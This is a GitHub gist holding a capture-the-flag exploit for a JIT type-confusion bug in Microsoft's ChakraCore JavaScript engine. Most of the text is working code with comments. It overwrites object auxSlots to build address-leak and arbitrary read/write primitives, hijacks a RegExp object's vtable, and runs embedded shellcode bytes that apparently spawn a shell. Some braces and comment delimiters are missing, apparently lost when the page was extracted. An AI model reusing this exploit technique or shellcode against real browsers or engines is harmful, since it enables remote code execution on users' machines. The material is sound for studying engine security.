Skip to content

Instantly share code, notes, and snippets.

Last active April 9, 2021 18:29
Show Gist options
  • Save itszn/3277e8aa56c91f8296d88d25d96df717 to your computer and use it in GitHub Desktop.
Save itszn/3277e8aa56c91f8296d88d25d96df717 to your computer and use it in GitHub Desktop.
Trendmicro CTF ChakraCore exploit
let sc = [106,104,72,184,47,98,105,110,47,47,47,115,80,72,137,231,104,114,105,1,1,129,52,36,1,1,1,1,49,246,86,106,8,94,72,1,230,86,72,137,230,49,210,106,59,88,15,5];
let conva = new ArrayBuffer(8)
let convi = new Uint32Array(conva);
let convf = new Float64Array(conva);
function i2f(i) {
convi[0] = i%0x100000000;
convi[1] = i/0x100000000;
return convf[0];
function toLong(l,h) {
return (h*0x100000000)+ l;
function opt(o, proto, value) {
o.b = 1;
// When we make the object into a prototype, the DynamicObject will change
// so that the properties are in the auxSlots vector
let tmp = {__proto__: proto};
/* However the JIT does not realize this, so it will still write to it as if it
was only inline slots
[ vtable ] [ vtable ]
[ type ] --> [ type ]
[ inline a ] [ auxslots ]
Now writing to inline slot a will overwrite the auxslots pointer with the value
o.a = value
function main() {
// This will the object we overwrite the auxslots using the bug
// once we trigger the bug we will be able to access Var values
// into a target object. However because of some constraints it
// is tricky to use our original object. We can successfully write
// to the 3rd qword index with o.c however
let o = {a:1, b:2}
// We will use the o.c to corrupt a nicer DynamicObject's auxslots
// This will give us the same setup, but with a more offsets to write
let target_o = {}
target_o.a = 1;
target_o.b = 2;
target_o.c = 3;
target_o.d = 4;
target_o.e = 5;
target_o.f = 6;
target_o.g = 7;
target_o.h = 8;
// Compile the bad function
for (let i = 0; i < 2000; i++) {
opt(o, {}, {});
// Now we have the ability to write Var values over other objects
// I am going to target a DataView to try and achieve a read/write primitive
let target_buff = new DataView(new ArrayBuffer(0x100));
let target_buff2 = new DataView(new ArrayBuffer(0x100));
// Here we overwrite o's auxslots with our second DynamicObject
opt(o, o, target_o);
// Then we overwrite the target_o's auxslots with our data_buff
o.c = target_buff;
//target_o.e = 0xffff; // We can overwrite the length to see if our write worked
// At this point we can write to target_o.h to overwrite the backing
// buffer pointer of the target buffer, letting us use the buffer to
// read and write to the given pointer
// (Note we can't write arbitrary addresses yet because we can only
// write Vars to the auxslots. We will fix that later)
// We will also need an addrof primitive for later
// So I construct a DynamicObject to store Vars in
// and then a second to store the address of the first
[ vtable ]
[ type ]
[ slot a ] ----> [ vtable ]
[ type ]
[ slot a ]
// By reading the qword in slot a with our corrupted dataview, we can
// leak the address of conf_obj, which we can use later to leak
// the address of any object in the first inline slot
let conf_obj = {a:target_buff}
let conf_obj2 = {a:conf_obj}
// Overwrite the buffer pointer with conf_obj2 pointer and read slot a
target_o.h = conf_obj2;
let conf_leak = toLong(target_buff.getUint32(2*8, true),
target_buff.getUint32(2*8+4, true) + 0*8);
print('addrof DynamicObject @ 0x' + conf_leak.toString(16));
// Now we can try to get arbitrary read/write. Since I said before
// we can't write arbitrary pointers yet, we will use our first
// dataview to corrupt a second so we can write arbitrary addresses
target_o.h = target_buff2;
// Now we can construct primitives for read and write
let p = {
set: function(addr){
// Overwrite the buffer pointer of the first dataview
target_buff.setUint32(7*8+4, addr/0x100000000, true)
target_buff.setUint32(7*8, addr%0x100000000, true)
read64: function(addr) {
return toLong(
write64: function(addr, val) {
target_buff2.setUint32(0,val/0x100000000, true);
target_buff2.setUint32(0,val%0x100000000, true);
write64f: function(addr, val) {
// Here we can do a single write by doing a float
target_buff2.setFloat64(0, i2f(val), true);
addrOf: function(obj) {
// To get the address of a DynamicObject we place it
// in the slot we know the address of and read the Var
conf_obj.a = obj;
return p.read64(conf_leak+8+8);
// With these primitives we can set up our final payload
// We will be hijacking a vtable of a DynamicObject
// So first I allocate some space to write the fake vtable
let arb_data = new DataView(new ArrayBuffer(0x1000));
let data_buff = p.read64(p.addrOf(arb_data)+7*8);
// Note the binary has NX disabled so the heap is rwx, so
// I can allocate RWX space just using an ArrayBuffer
let shellcode_data = new DataView(new ArrayBuffer(0x1000));
let shellcode_buff = p.read64(p.addrOf(shellcode_data)+7*8);
// We write the shellcode into the RWX buffer
for(let i=0; i<sc.length; i++) {
shellcode_data.setUint8(i, sc[i]);
// And write its address over the fake vtable
for(let i=0; i<80; i++) {
// Finally we pick an object to corrupt the vtable of
let a = RegExp();
let obj_addr= p.addrOf(a);
print('RegExp obj @ 0x'+obj_addr.toString(16));
// Write our fake vtable over the first qword
p.write64f(obj_addr, data_buff);
print('Popping a shell!')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment